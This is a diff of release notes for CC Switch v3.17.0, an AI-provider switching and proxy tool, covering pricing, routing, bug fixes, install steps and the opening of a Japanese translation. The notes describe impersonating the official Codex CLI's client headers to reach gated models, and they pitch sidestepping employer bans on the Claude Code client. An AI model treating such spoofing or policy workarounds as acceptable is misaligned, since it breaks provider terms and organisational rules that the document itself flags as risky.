([#2907](https://github.com/farion1231/cc-switch/pull/2907)) + +### New Model Pricing: Tencent Hunyuan Hy3 + +Seeded pricing for Tencent Hunyuan Hy3 (256K context), released 2026-07-06 (converted from the launch-day list price of CNY 1 / 4 / 0.25 per million tokens); both the `hunyuan-hy3` and `hy3` ids now hit, so their usage no longer shows $0. Note that Hy3 is actually tiered by input length, and the current price table is seeded at the lowest tier, so long-context requests will underestimate cost — to be corrected once the official billing page is clear. + +--- + +## Changed + +### Codex Chat Routing Injects prompt_cache_key to Improve Cache Hits + +When Codex routes through the local proxy and converts to a Chat Completions upstream, it now injects `prompt_cache_key` in a provider-aware way: auto-enabled for Kimi Coding and the OpenAI official endpoint, explicitly on for the Kimi preset, and left off for unknown OpenAI-compatible gateways to avoid a 400 from strict-schema gateways. The key value only ever takes an explicit client value or a real client session ID, and never generates a random UUID (which would drop every request into a different cache bucket, defeating the purpose). Advanced options offer an auto / enabled / disabled tri-state override. + +### Codex Image Capability Auto-Inferred, Manual Toggle Removed + +The generated Codex model catalog now only declares `input_modalities = ["text"]` for models on CC Switch's confirmed **exact text-only roster**; GPT, aliases, new suffix variants, and any unknown model all fail open to `["text", "image"]` — fixing GPT-family models being falsely reported as "images not supported" in the Codex IDE extension. The rectifier's "text-only model precheck" toggle continues to govern only the proxy-side active request rewriting, not the catalog declaration; catalog reverse-import also collapses the inferable capability away, so a future roster correction or a model upgrading to multimodal takes effect automatically. + +### Context-Window Parameters Pinned into Presets, No Longer Form Fields + +The `Codex` (ChatGPT / GPT-5.6) and `Kimi For Coding` presets no longer show the "Max Context Tokens" and "Auto-Compact Window" inputs in the form; the values are pinned directly in the preset env (Codex 372000 / 372000, Kimi For Coding 262144 / 262144) — the vast majority of users never need to touch these two numbers. The two keys are kept in env on purpose: pinning them explicitly makes the local compaction trigger point immune to a remote experimental config dialing it down. The rare users who do want to change the numbers can still edit both keys directly in the provider's JSON editor. + +### Provider Connectivity Configuration Simplified + +Removed the obsolete per-provider `testConfig` overrides (timeout, retry count, degradation delay threshold): the lightweight `base_url` probe now always uses the global connectivity-check config, while automatic failover remains fully driven by the proxy's separate timeout and circuit-breaker settings. The settings UI and interface naming also migrate from "model test" terminology to "connectivity check". + +### Universal (Multi-App) Provider Auto-Synced After Adding + +After adding a universal (multi-app) provider through the "Add Provider" dialog, it's now immediately pushed to each live target config, no longer requiring a manual sync afterward. A sync failure doesn't block the add — the provider is saved, with a non-blocking warning shown if the sync fails. ([#2811](https://github.com/farion1231/cc-switch/pull/2811)) + +### Preset Updates + +- **LongCat-2.0**: the Meituan LongCat presets across the board (Claude Code / Claude Desktop / Codex / Hermes / OpenClaw / OpenCode) upgrade from the retired `LongCat-Flash-Chat` / `LongCat-2.0-Preview` to `LongCat-2.0`, declaring the real 1M (1048576) context window. LongCat-2.0 is a text-only model, and the proxy's media-scrub whitelist is updated in sync — images pasted into a conversation are replaced with an unsupported marker rather than hard-rejected upstream. ([#4838](https://github.com/farion1231/cc-switch/pull/4838)) +- **SudoCode**: the old `sudocode.us` preset is replaced in place by the new sponsor SudoCode at `sudocode.chat`, covering six clients (the Claude family connects directly to Anthropic passthrough; Codex / OpenCode / OpenClaw / Hermes default to `gpt-5.6-sol`). +- **Volcengine / Doubao / BytePlus website links**: reverted v3.16.5's change of these three presets' `websiteUrl` to product homepages, restoring the attribution-parameter campaign / invite links (this is by design). +- **Code0.ai**: the invite link is updated to the new agent signup link; the API endpoint is unchanged. +- **Removed duplicate OpenAI Compatible presets**: the `OpenAI Compatible` custom-template entry was removed from the OpenCode and OpenClaw preset lists — the built-in `custom` provider flow already offers the same starting point, so the selector no longer shows two entries pointing at the same place. Existing providers are unaffected. + +--- + +## Fixed + +### Codex OAuth Client Identity Aligned: Fixes 404 on Latest ChatGPT Models + +When routing through local proxy takeover with an official Codex OAuth account, the latest subscription models (e.g. `gpt-5.6-luna`) previously returned a misleading `404 Model not found` — even though the account had access. The root cause is that ChatGPT's Codex backend does model-group routing by the `originator` + `version` headers, and cc-switch previously self-reported `originator: cc-switch` with no version, which routed it to a group where luna wasn't yet deployed. Takeover requests now send the same `originator: codex_cli_rs` + `version: 0.144.1` as the real Codex CLI, satisfying luna's minimum client-version requirement — confirmed fixed by A/B testing against the real backend. + +### Responses Upstream Failures No Longer Turn into Empty Replies + +When the proxy bridges an Anthropic-format client (Claude Code / Claude Desktop) to an OpenAI Responses upstream, a semantic failure hidden inside an HTTP 2xx body (a `status:"failed"` object, an `error` envelope, or a `response.failed` SSE event before the first output) was previously converted into a silent empty turn. These failures are now recognized as real errors inside the retry loop, so failover can retry with a different provider; a stream that ends cleanly but with incomplete content is faithfully marked truncated rather than complete; a gateway that ignores `stream:true` and returns the whole JSON document is recognized and expanded into a full streaming lifecycle; and when the client history itself is malformed, it errors immediately instead of retrying a guaranteed-to-fail request against every provider. + +### Reasoning, Tool Results, and the System Role Preserved Across the Responses/Anthropic Bridge + +Content crossing the Responses↔Anthropic bridge in multi-turn tool loops is no longer lost or corrupted: encrypted reasoning entries round-trip losslessly (also eliminating the problem where a failed round-trip got the next request rejected upstream); the streaming converter supports the official reasoning event vocabulary and recovers tool arguments from the terminal event when a gateway skips the deltas; a structured tool result's `is_error` flag, images, and PDF documents are fully preserved in both directions instead of being flattened into a single JSON string; and `system` / `developer` messages in history are correctly promoted to Anthropic `system` instead of being silently demoted to user turns. On billing, when the upstream request succeeds but the subsequent conversion fails, usage is still recorded rather than dropped. + +### Cache-Write Tokens No Longer Double-Billed + +The `input_tokens` reported by Codex / Gemini-style providers include both cache reads and cache writes, but the cost calculation previously only subtracted cache reads — so cache-write tokens were **billed twice**, once at the input rate and once at the cache-creation rate. Both are now deducted first, and the cache-write number is no longer lost across format conversions (Chat↔Responses↔Anthropic). To keep historical data consistent, the database adds a column recording the storage semantics of each row's `input_tokens` (schema v12→v13 auto-migration): old rows are recomputed under the old semantics, new rows under the new, and Claude-style rows are unaffected. + +### Stronger Prompt-Cache Breakpoint Injection + +On the proxy paths that inject Anthropic `cache_control` breakpoints (the Codex takeover bridge and the Bedrock native optimizer), the injector now uses the four-breakpoint budget more thoroughly: beyond the tail of tools, the tail of the system prompt, and the latest cacheable message, when budget remains it also anchors an earlier user message, keeping the stable prefix within Anthropic's 20-block lookback window — so long, tool-heavy conversations keep hitting the prompt cache instead of resending the system prompt, tools, and history at full price each turn. Caller-supplied breakpoints are preserved as-is (never removed, reordered, or rewritten); injected markers all use the standard 5-minute TTL. + +### Kimi For Coding's 256K Context Window Actually Takes Effect + +The `CLAUDE_CODE_AUTO_COMPACT_WINDOW=262144` added to the Kimi For Coding preset in 3.16.4 in fact **never took effect**: Claude Code caps unrecognized model ids at a 200K window and takes the compaction window as `min(model window, configured value)`, so 262144 got clamped back to 200K. This release fills in the two missing pieces — the preset now also pins `CLAUDE_CODE_MAX_CONTEXT_TOKENS`, and it explicitly routes each tier's model to the endpoint's `kimi-for-coding` alias (a `claude-` prefixed id makes Claude Code ignore both window parameters; a non-Claude alias is the key to unlocking the large window). Saved providers also get these two window defaults auto-injected on switch, but **the alias routing only lives in the preset** — a provider saved from the old preset is still effectively 200K and needs a one-time re-apply of the preset (see "Upgrade Notes"). + +### Deleted Codex MCP Servers No Longer Come Back + +The authoritative MCP-server data lives in the database, and the `[mcp_servers]` in the Codex live `config.toml` is only a projection re-synced after every write — but on switch-away this projection was baked into the provider snapshot, so a server you deleted in the app came back to life the next time you activated that provider, and per-entry reconciliation could never clear the orphan. On switch-away, `[mcp_servers]` (including the legacy `[mcp.servers]`) is now stripped from the stored snapshot, and an already-polluted snapshot self-heals on its next switch-away. One visible side effect: a hand-written `[mcp_servers.*]` section in a Codex provider config is stripped out of the snapshot on its first switch-away — from now on, define Codex's MCP servers through the MCP manager (see "Upgrade Notes"). + +### More Robust MCP Sync: No File-Blanking on Parse Failure, Per-App Errors + +Two fixes. First, when writing a single MCP server to Codex, if the existing `config.toml` fails to parse, the old logic fell back to an empty document and wrote the whole thing back — **the entire file was blanked** down to that one MCP entry; it now returns a validation error and leaves the file untouched. Second, "Import from App" previously swallowed each importer's error as 0, so a broken Codex config would only show "imported 0 servers"; it now imports best-effort per app and, on failure, reports exactly which app failed. The projection on switch and save is also scoped to the target app only, so one app's live-file parse failure no longer blocks the others by association, nor falsely reports an already-successful switch as a failure. + +### Codex Common-Config Merge Preserves Comments and Key Order + +Checking / unchecking "Apply Common Config" in the Codex provider form previously went through a front-end TOML implementation that reformatted the whole file (parse → merge → serialize): comments were dropped, keys were reordered, and empty table headers like `[model_providers]` appeared out of nowhere — the culprit behind "config.toml keeps getting reordered". The merge now goes through a backend command sharing the same merge semantics as writing the live config, so hand-written formatting fully survives the mid-edit merge; a double guard (operation sequence number + config baseline check) was also added for the fast-switch race introduced by going async, so an earlier-issued-but-later-arriving stale result doesn't overwrite newer state. + +### Managed Claude Takeover Injects Only a Single Auth Placeholder + +When switching from a third-party endpoint to a Codex-managed provider, `~/.claude/settings.json` had both `ANTHROPIC_API_KEY` and `ANTHROPIC_AUTH_TOKEN` placeholders written, causing Claude Code to warn "Both ANTHROPIC_AUTH_TOKEN and ANTHROPIC_API_KEY set" on every launch. It now injects only one: Codex-managed uses `ANTHROPIC_AUTH_TOKEN`, Copilot uses `ANTHROPIC_API_KEY`, and any other token key is cleared. Note: after upgrading, if the live config already carries both keys, the "skip rewrite if config unchanged" short-circuit means the warning may persist — toggle the Claude route off and on once (or switch providers once) to trigger a rewrite (see "Upgrade Notes"). ([#5095](https://github.com/farion1231/cc-switch/pull/5095), fixes #4919) + +### Usage and Quota Queries: Auto-Retry on Transient Failures, No Longer Poison the Cache + +Usage and quota queries frequently showed a "query failed" that a manual refresh couldn't clear, because all transport-layer failures (including a mid-read timeout while reading the response body) were folded into "succeeded, but the result is a failure" — so the front-end's auto-retry never fired, and the failure body was cached as real data. Transport failures now return an error faithfully: react-query's auto-retry kicks in, HTTP 429 is treated as transient like 5xx, retained last-good data expires normally on a 10-minute window, and the footer keeps a retry entry and the real error message in the failure state. (fixes [#3820](https://github.com/farion1231/cc-switch/issues/3820)) + +### Codex Subagent Session Usage Counted in Local Statistics + +The token usage of Codex subagent (spawned agent) sessions previously never made it into local statistics: subagent logs carry the parent thread's `session_id`, so multiple subagents' records collided and were discarded as duplicates. The parser now builds a unique identity from each file's own `thread_id`, and recognizes the replay of the parent thread's history at the start of a subagent log — using it only to recover the cumulative baseline, not to double-bill; archived logs also inherit the sync cursor by filename, so re-parsing only imports the new portion. ([#5187](https://github.com/farion1231/cc-switch/pull/5187)) + +### Codex Free-Tier 30-Day Quota Window Displays Correctly + +Codex free accounts are metered on a rolling 30-day window (rather than the paid tier's weekly window), but the front-end whitelist and tray grouping didn't recognize the `30_day` tier — with a free account's only tier filtered out, the quota footer went entirely blank and the tray showed no quota at all. The 30-day tier now renders correctly in both the footer and the tray, with labels in sync across all four locales. ([#4886](https://github.com/farion1231/cc-switch/pull/4886), fixes #3651) + +### Usage Dashboard Refresh Interval Persisted + +The usage dashboard's auto-refresh interval was previously component-local state that reset to 30 seconds on every restart. It's now persisted via a new app setting, with changes applied optimistically and rolled back automatically on save failure. ([#5057](https://github.com/farion1231/cc-switch/pull/5057)) + +### Fable-Tier Model Keys No Longer Leak into the Common Config + +Fable is the fourth Claude model-mapping tier added in v3.16.3, but its two keys `ANTHROPIC_DEFAULT_FABLE_MODEL(_NAME)` were left off the provider-specific exclusion list — so one provider's Fable model pin could leak into the shared common config and then be injected into other providers. It's now stripped like the haiku / sonnet / opus tiers, and Fable-tier proxy takeover support was filled in along the way (writing a stable role alias on takeover, cleaning up stale values on switch-away). ([#5206](https://github.com/farion1231/cc-switch/pull/5206), fixes #4272) + +### Tool-Schema Default-Type Fallback and API Key Input for Uncategorized Providers + +Two provider-side fixes: when a client-sent tool's `input_schema` lacks a top-level `type` (or is an empty `{}`), the proxy conversion would be rejected by a strict gateway; the root schema now auto-fills `type: "object"` (only the root, leaving nested subschemas untouched); and the issue where an uncategorized provider imported from history or hand-built showed no Claude API Key input on edit is fixed — the field now shows for any provider that isn't an official / cloud-vendor category. ([#5069](https://github.com/farion1231/cc-switch/pull/5069)) + +### Image-Request Fallback for the Text-Only GLM 5.2 Model + +When the local proxy takes over Volcengine Coding Plan running GLM 5.2, image blocks in a request no longer produce an unrecoverable 400: the text-only roster exactly includes `glm-5.2` (deliberately not prefix-matching, so a future multimodal `glm-5.2v` isn't caught), and the preventive path strips images before the request goes out; the gateway's error message that doesn't contain the word image (`Model only support text input`) is also recognized by the reactive path's self-identifying-phrase roster, triggering the media fallback. (fixes [#5025](https://github.com/farion1231/cc-switch/issues/5025)) + +### A Batch of Small Session and Live-Config Sync Fixes + +- **Show renamed Codex session titles**: a session you renamed inside Codex now shows the new title in the session manager instead of falling back to the first message text; reads during concurrent writes no longer fail immediately. ([#4927](https://github.com/farion1231/cc-switch/pull/4927)) +- **OpenCode / OpenClaw / Hermes live edits synced into the store on startup**: editing a live config file directly (changing the base URL, adding a model) was previously never picked up after the first import; it's now diffed against the store on every startup and updated on difference, all non-fatal. ([#4712](https://github.com/farion1231/cc-switch/pull/4712), [#5098](https://github.com/farion1231/cc-switch/pull/5098)) +- **OpenCode session-resume command updated**: the resume command the session manager shows and copies is corrected from the outdated `opencode session resume ` to the current CLI's `opencode -s `. ([#2359](https://github.com/farion1231/cc-switch/pull/2359)) +- **Official providers skip the connectivity probe**: the connectivity check no longer derives a guaranteed-to-fail credential-less first-party endpoint probe for official-category providers (e.g. hitting `chatgpt.com/backend-api/codex` bare); batch checks skip it, and an individual resolve reports a clear error. + +--- + +## Documentation + +### Codex + Kimi Local Routing Guide + +A new step-by-step guide (in Chinese / English / Japanese, with UI screenshots) explaining how to use Kimi inside Codex CLI via CC Switch's local routing: newer Codex CLI speaks the OpenAI Responses protocol, while the Kimi Open Platform (pay-as-you-go, `kimi-k2.7-code`) and Kimi For Coding (membership, `kimi-for-coding`) both expose Chat Completions endpoints, so a direct connection usually 404s on `/responses`. The guide covers the whole flow from adding a provider from the built-in preset to the four-step protocol-conversion chain. + +### README Sponsor Update + +The open-source AI infrastructure project `new-api` joins the sponsor table in the four-language READMEs. + +--- + +## Upgrade Notes + +### Kimi For Coding Providers Need a Preset Re-Apply + +If you're using a provider created from the Kimi For Coding preset, please **re-pick it from the preset and save once**: the key to the 256K window — routing each tier's model to the `kimi-for-coding` alias — only lives in the new preset, so a provider saved from the old preset still compacts prematurely at 200K even after upgrading. + +### Hand-Written Codex `[mcp_servers.*]` Will Be Stripped from the Snapshot + +To root out "deleted MCP servers coming back", switching away from a Codex provider strips the `[mcp_servers]` section from the stored snapshot. If you have an MCP server hand-written directly in a Codex provider config, it will disappear from the snapshot on the first switch-away from that provider — please instead define Codex's MCP servers through the MCP manager (MCP tab), where the entries are authoritative and get projected into the live config automatically. + +### The Dual-Auth-Key Warning May Need a One-Time Manual Rewrite + +If Claude Code still warns "Both ANTHROPIC_AUTH_TOKEN and ANTHROPIC_API_KEY set" after upgrading, it's because the takeover logic short-circuits and skips the rewrite when the live config is unchanged. Toggle Claude's route off and on once (or switch providers once) to write the corrected single-placeholder config, and the warning goes away. + +### Automatic Database Migration + +On the first launch of v3.17.0, the database automatically migrates from schema v11 to v13 (adding the projects table and the usage-semantics column), with no manual steps. If you're in the habit of rolling back to an older version, back up `~/.cc-switch/cc-switch.db` first. + +--- + +## Risk Notice + +This release continues the risk notices from previous versions for reverse-proxy-style features. + +**Codex OAuth reverse proxy**: using a ChatGPT subscription's Codex OAuth through a reverse proxy may violate OpenAI's terms of service. See the [v3.13.0 release notes](v3.13.0-en.md#️-risk-notice) for details. The "official ChatGPT account proxy route takeover" added in this release is the same class of usage, so please be aware of the same risk. + +**Codex third-party provider Chat routing**: when CC Switch local proxy converts and forwards Codex requests to third-party providers, each provider may have different requirements for billing, compliance, and data retention. Read the target provider's terms before use. + +**Claude Desktop third-party provider proxy switching**: when CC Switch's built-in proxy gateway forwards Claude Desktop requests to third-party providers, you must also follow the target provider's billing, compliance, and data-retention terms. + +By enabling these features, users accept the related risks. CC Switch is not responsible for account restrictions, warnings, or service suspensions caused by using these features. + +--- + +## Thanks + +Thanks to the following contributors for the features and fixes in v3.17.0: + +- [#5071](https://github.com/farion1231/cc-switch/pull/5071): add the native Anthropic Messages protocol as a Codex upstream, thanks @yeeyzy. +- [#4830](https://github.com/farion1231/cc-switch/pull/4830): add Claude subagent model configuration, thanks @AkimioJR. +- [#5124](https://github.com/farion1231/cc-switch/pull/5124): add the 1M checkbox to the fallback model field, thanks @salarkhannn. +- [#5128](https://github.com/farion1231/cc-switch/pull/5128): add Zhipu team-plan quota queries, thanks @zhanxin-xu. +- [#2907](https://github.com/farion1231/cc-switch/pull/2907): add the Headers and token-limit editors to the OpenCode form, thanks @git1677967754. +- [#2811](https://github.com/farion1231/cc-switch/pull/2811): auto-sync universal providers after adding, thanks @hubutui. +- [#4838](https://github.com/farion1231/cc-switch/pull/4838): upgrade the LongCat presets to LongCat-2.0, thanks @solthx. +- [#5095](https://github.com/farion1231/cc-switch/pull/5095): inject only a single auth placeholder on managed Claude takeover, thanks @fengshao1227. +- [#5187](https://github.com/farion1231/cc-switch/pull/5187): count Codex subagent session usage in statistics, thanks @starmiaoa. +- [#4886](https://github.com/farion1231/cc-switch/pull/4886): fix the Codex free-tier 30-day quota window not showing, thanks @SaladDay. +- [#5057](https://github.com/farion1231/cc-switch/pull/5057), [#4927](https://github.com/farion1231/cc-switch/pull/4927), [#2359](https://github.com/farion1231/cc-switch/pull/2359): persist the refresh interval, show renamed session titles, and correct the OpenCode resume command, thanks @makoMakoGo. +- [#5206](https://github.com/farion1231/cc-switch/pull/5206): exclude Fable model keys from the common config, thanks @fzh365. +- [#5069](https://github.com/farion1231/cc-switch/pull/5069): tool-schema default-type fallback and API Key input restoration, thanks @Komikawayi. +- [#4712](https://github.com/farion1231/cc-switch/pull/4712), [#5098](https://github.com/farion1231/cc-switch/pull/5098): sync OpenCode / OpenClaw / Hermes live config on startup, thanks @allenxu09. + +Thanks also to everyone who reported Codex official routing, cache billing, MCP sync, and quota query issues — a good portion of this release's fixes came directly from reproduction clues in these real-world scenarios. + +--- + +## Download & Install + +Visit [Releases](https://github.com/farion1231/cc-switch/releases/latest) and download the build for your system. + +### System Requirements + +| System | Minimum Version | Architecture | +| ------- | ------------------------ | ----------------------------------- | +| Windows | Windows 10 and later | x64 / ARM64 | +| macOS | macOS 12 (Monterey)+ | Intel (x64) / Apple Silicon (arm64) | +| Linux | See table below | x64 / ARM64 | + +### Windows + +| File | Description | +| ---------------------------------------- | ------------------------------------------------ | +| `CC-Switch-v3.17.0-Windows.msi` | **Recommended** - MSI installer with auto-update | +| `CC-Switch-v3.17.0-Windows-Portable.zip` | Portable build, unzip and run | + +Windows ARM64 devices should pick the artifact whose file name carries the `arm64` tag. + +### macOS + +| File | Description | +| -------------------------------- | ----------------------------------------------------- | +| `CC-Switch-v3.17.0-macOS.dmg` | **Recommended** - DMG installer, drag to Applications | +| `CC-Switch-v3.17.0-macOS.zip` | Unzip and drag to Applications, Universal Binary | +| `CC-Switch-v3.17.0-macOS.tar.gz` | For Homebrew install and auto-update | + +Homebrew install: + +```bash +brew install --cask cc-switch +``` + +Upgrade: + +```bash +brew upgrade --cask cc-switch +``` + +### Linux + +Linux assets are available for both **x86_64** and **ARM64** (`aarch64`). Choose the file whose architecture tag matches your machine's `uname -m` output: + +- `CC-Switch-v3.17.0-Linux-x86_64.AppImage` / `.deb` / `.rpm` +- `CC-Switch-v3.17.0-Linux-arm64.AppImage` / `.deb` / `.rpm` + +| Distribution | Recommended Format | Install Command | +| --------------------------------------- | ------------------ | --------------------------------------------------------------------- | +| Ubuntu / Debian / Linux Mint / Pop!\_OS | `.deb` | `sudo dpkg -i CC-Switch-*.deb` or `sudo apt install ./CC-Switch-*.deb` | +| Fedora / RHEL / CentOS / Rocky Linux | `.rpm` | `sudo rpm -i CC-Switch-*.rpm` or `sudo dnf install ./CC-Switch-*.rpm` | +| openSUSE | `.rpm` | `sudo zypper install ./CC-Switch-*.rpm` | +| Arch Linux / Manjaro | `.AppImage` | Make executable and run directly, or use AUR | +| Other distributions / unsure | `.AppImage` | `chmod +x CC-Switch-*.AppImage && ./CC-Switch-*.AppImage` | + + diff --git a/docs/release-notes/v3.17.0-ja.md b/docs/release-notes/v3.17.0-ja.md new file mode 100644 index 000000000..301e562ad --- /dev/null +++ b/docs/release-notes/v3.17.0-ja.md @@ -0,0 +1,362 @@ +# CC Switch v3.17.0 + +> 本リリースでは、長らく待ち望まれていた**「プロジェクト」のワンクリック切り替え**を追加しました。現在のプロバイダー、MCP、Skills、メモリファイルを名前付きスナップショットとしてまとめて保存し、タイトルバーやトレイから別の構成へ一括で切り替えられます。切り替え時には、離れる側のプロジェクトの現在状態も自動保存されます。Codex 側も大きく進化しました。**公式 ChatGPT サブスクリプションアカウントもローカルプロキシ経由でルーティング**できるようになり、サードパーティプロバイダーと同じルーティング・使用量統計を利用できます。GPT-5.6 ファミリーのコンテキストウィンドウと Sol / Terra / Luna の 3 段階価格にも対応しました。さらに、ネイティブ Anthropic Messages 上流形式を追加——勤務先で Claude Code クライアントは禁止されていても Claude API は禁止されていませんか?これで **Codex の中から Claude 系モデルを直接利用できます**。このほか、上流エラーが「空の応答」になる問題、キャッシュ書き込み token の二重課金、削除した MCP サーバーの復活、Kimi For Coding の 256K ウィンドウが実際には効いていなかった問題など、多数の正確性の問題を修正しました。 + +**[English →](v3.17.0-en.md) | [中文版 →](v3.17.0-zh.md)** + +--- + +## 利用ガイド + +本リリースの新機能は、主にホーム画面上部のプロジェクト切り替え、Codex プロバイダーフォーム、使用量ダッシュボードにあります。以下のドキュメントもあわせてご覧ください: + +- **[Codex で Kimi を使う(ローカルルーティングガイド)](../guides/codex-kimi-routing-guide-ja.md)**:新しい Codex CLI は OpenAI Responses 形式を使いますが、Kimi Open Platform と Kimi For Coding は Chat Completions endpoint を提供するため、直接接続すると通常は 404 になります。このガイドでは、内蔵の `Kimi` / `Kimi For Coding` プリセットとローカルルーティングを使ったプロトコル変換を説明します。 +- **[Codex の公式ログインを保持する](../guides/codex-official-auth-preservation-guide-ja.md)**:サードパーティプロバイダーへ切り替える際に、CC Switch が公式 ChatGPT ログインをどう保持するかを説明します。本リリースではさらに、公式アカウント自体をプロキシ経由でルーティングできるようになりました。 +- **[使用量統計](../user-manual/ja/4-proxy/4.4-usage.md)**:使用量ダッシュボードのデータソースと集計方法を確認できます。本リリースではキャッシュ書き込み課金を修正し、Codex サブエージェントの使用量を補完し、GPT-5.6 と Hunyuan Hy3 の価格を追加しました。 + +--- + +> [!WARNING] +> +> ## 唯一の公式チャネル(必ずお読みください) +> +> CC Switch は**完全に無料・オープンソース**のデスクトップアプリで、**ユーザーから料金を徴収することはありません**。本ソフトウェアは下記の公式チャネルからのみ入手してください: +> +> | チャネル | 唯一の公式 | +> | ------------ | ------------------------------------------------------------------------------ | +> | 公式サイト | **[ccswitch.io](https://ccswitch.io)** | +> | ソースコード | **[github.com/farion1231/cc-switch](https://github.com/farion1231/cc-switch)** | +> | ダウンロード | **[GitHub Releases](https://github.com/farion1231/cc-switch/releases)** | +> | 作者 | **[@farion1231](https://github.com/farion1231)** | +> | 偽サイト通報 | **[GitHub Issues](https://github.com/farion1231/cc-switch/issues)** | +> +> **料金請求・チャージ・認証情報の提供を求める「CC Switch」サイトやクライアントはすべて偽物です。** 支払いを誘導された場合は直ちに操作を中止し、GitHub Issues からご報告ください。 + +--- + +## 概要 + +CC Switch v3.17.0 は v3.16.5 に続く大型機能リリースです。中心となるのは**「プロジェクト」**です。Claude Code / Claude Desktop / Codex の現在のプロバイダー、MCP、Skills、メモリファイルを名前付きスナップショットとして保存できます。たとえば、プログラミング用ディレクトリには「開発」、文章作成やイラスト用ディレクトリには「イラスト」という構成を用意し、ホーム上部またはトレイの「プロジェクト」サブメニューからワンクリックで一括切り替えできます。切り替える前には、離れるプロジェクトの現在状態が自動で書き戻されるため、各プロジェクトには最後に離れた時点の構成が常に保持されます。 + +もう一つの柱は Codex です。**ChatGPT サブスクリプションでログインした公式アカウントもローカルプロキシでルーティング**できるようになりました。API key は不要で、Codex 自身のログイン情報をそのまま転送し、公式ログインを上書きしません。クライアント識別情報も修正され、`gpt-5.6-luna` など最新のサブスクリプションモデルが誤って 404 になる問題を解消しました。GPT-5.6 の 372K コンテキスト注入、Sol / Terra / Luna の 3 段階価格(キャッシュ書き込みは 1.25 倍)、プリセットの既定モデルも同時に対応しています。さらに Codex の上流形式にネイティブ Anthropic Messages を追加しました。これは、**Claude Code クライアントは禁止していても Claude API は禁止していない企業が多い**という現実的な利用場面を想定したものです。Codex を Claude API、または `/v1/messages` のみを提供するゲートウェイへ接続し、Codex の中で Claude 系モデルを使えます。 + +正確性についても、3 つの領域を集中的に改善しました。**プロキシ変換**では、HTTP 2xx 内の上流エラーを空の応答に変換せず failover へ渡し、Responses↔Anthropic 間で reasoning、ツール結果、system role を保持し、プロンプトキャッシュのブレークポイントを強化しました。**使用量と課金**では、キャッシュ書き込み token が入力料金とキャッシュ作成料金の両方で計上されていた問題を修正し、ネットワークの一時障害で使用量キャッシュが壊れないようにしました。**Codex `config.toml`** では、削除した MCP サーバーの復活を防ぎ、解析不能なファイルを同期時に消去しないよう fail-closed にし、共通設定のマージでコメントやキー順序を維持するようにしました。Kimi For Coding の 256K ウィンドウ、Codex サブエージェントと無料プランの使用量表示、Zhipu チームプランのクォータ照会、OpenCode フォームの強化も含まれます。 + +**リリース日**: 2026-07-13 + +**Stats**: 69 commits | 172 files changed | +21,067 / -2,464 lines + +--- + +## ハイライト + +- **「プロジェクト」をワンクリック切り替え**:プロバイダー、MCP、Skills、メモリファイルをまとめて名前付きスナップショットとして保存できます(たとえばプログラミング用と、文章作成・イラスト用)。ホーム上部またはトレイから一括切り替えでき、離れるプロジェクトの現在状態は自動保存されます。Claude Code、Claude Desktop、Codex の各スコープは互いに干渉しません。 +- **Codex の公式アカウントもプロキシルーティング可能に**:ChatGPT サブスクリプションでログインした Codex セッションをローカルプロキシ経由で扱い、サードパーティプロバイダーと同じルーティング・使用量統計を利用できます。公式ログイン情報は保存も上書きもしません。 +- **GPT-5.6 に全面対応**:Claude Code の Codex テイクオーバー時に 372K コンテキストを注入し、Sol / Terra / Luna の価格(キャッシュ書き込みは入力価格の 1.25 倍)を追加。プリセットも GPT-5.6 ファミリーへ更新し、クライアント識別修正で `gpt-5.6-luna` の誤った 404 を解消しました。 +- **Codex で Claude 系モデルを使用(ネイティブ Anthropic Messages 上流)**:Claude Code クライアントは禁止されていても Claude API は禁止されていない企業環境で、Codex の上流形式を `anthropic` に設定すれば Claude API または `/v1/messages` ゲートウェイへ接続できます。ローカルプロキシが Responses↔Anthropic を双方向変換します。 +- **プロキシ変換の正確性を改善**:上流エラーを空の応答にせず failover へ渡し、reasoning / ツール結果 / system role を保持。キャッシュ書き込みの二重課金も修正しました。 +- **Codex `config.toml` を堅牢化**:削除済み MCP サーバーの復活を防ぎ、解析エラー時にファイルを消去せず、共通設定マージでコメントとキー順序を保持します。 +- **Kimi For Coding の 256K が実際に有効に**:以前の 262144 設定は Claude Code の 200K 上限に抑えられていました。本リリースでモデル別名とウィンドウ設定を補完します。既存プロバイダーはプリセットを適用し直してください。 + +--- + +## 追加機能 + +### 「プロジェクト」:構成一式を保存してワンクリック切り替え + +本リリースの中心機能です。現在のプロバイダー、MCP、Skills、メモリファイルを名前付き「プロジェクト」として保存し、ホーム上部のプロジェクト切り替えまたはトレイの「プロジェクト」サブメニューから一括で切り替えられます。項目ごとに手作業で切り替える必要はありません。 + +典型的な例を挙げます。あるディレクトリではプログラミングを行い、別のディレクトリでは文章を書いたりイラストを作ったりするとします。プログラミングには専用のプロバイダー、ファイルシステム / GitHub MCP、コードレビュー Skills、開発ルールを書いたメモリファイルが必要です。一方、文章作成やイラストでは別のプロバイダー、別の MCP、まったく異なるプロンプトを使います。以前は作業を移るたびに、プロバイダーを変え、MCP と Skills を一つずつ切り替え、メモリファイルも変更する必要がありました。今後は 2 つの構成を「開発」と「イラスト」というプロジェクトに保存し、作業ディレクトリを変えるときに **CC Switch で一度クリックするだけ**で構成一式を切り替えられます。ディレクトリに応じて自動切り替えする機能ではなく、ユーザーが明示的に選ぶ仕組みです。 + +設計上のポイント: + +- **プロジェクトは共有、切り替えはスコープ別**:同じプロジェクトでも Claude Code / Claude Desktop / Codex はそれぞれ独立した現在位置とスナップショットを持ちます。Codex タブで切り替えても Claude の設定には触れません。 +- **切り替え時に自動保存**:新しいプロジェクトへ移る前に、離れるプロジェクトの現在状態をそのスコープへ自動で書き戻します。このため手動の「現在状態で更新」ボタンは不要です。 +- **適用はベストエフォート**:既存の切り替え処理を再利用し、プロバイダー、MCP / Skills の差分、メモリファイルの順に適用します。削除済み項目への参照は警告してスキップし、全体をロールバックしません。 +- **プロキシテイクオーバーを自動解除**:スナップショットを適用する前に対象スコープのテイクオーバーを無効化し、ルーティング状態との競合を避けます。 + +プロジェクトを使わない場合は、「設定 → ホームページ表示」の「プロジェクト切り替えを表示」をオフにできます。ホームの入口だけが非表示になり、トレイのサブメニューやプロジェクトデータはそのまま利用できます。新しい `profiles` テーブルへのデータベース移行は自動です。 + +### Codex 公式 ChatGPT アカウントのプロキシルーティング + +ChatGPT サブスクリプション(OAuth または API-key ログイン)で使う Codex セッションを、CC Switch のローカルプロキシ経由でルーティングできるようになりました。サードパーティプロバイダーと同じルーティング、形式変換、使用量統計を利用できます。プロバイダーパネルまたはトレイで内蔵の「OpenAI Official」を選択してください。削除済みの場合は、プロバイダー追加時に自動復元されます。 + 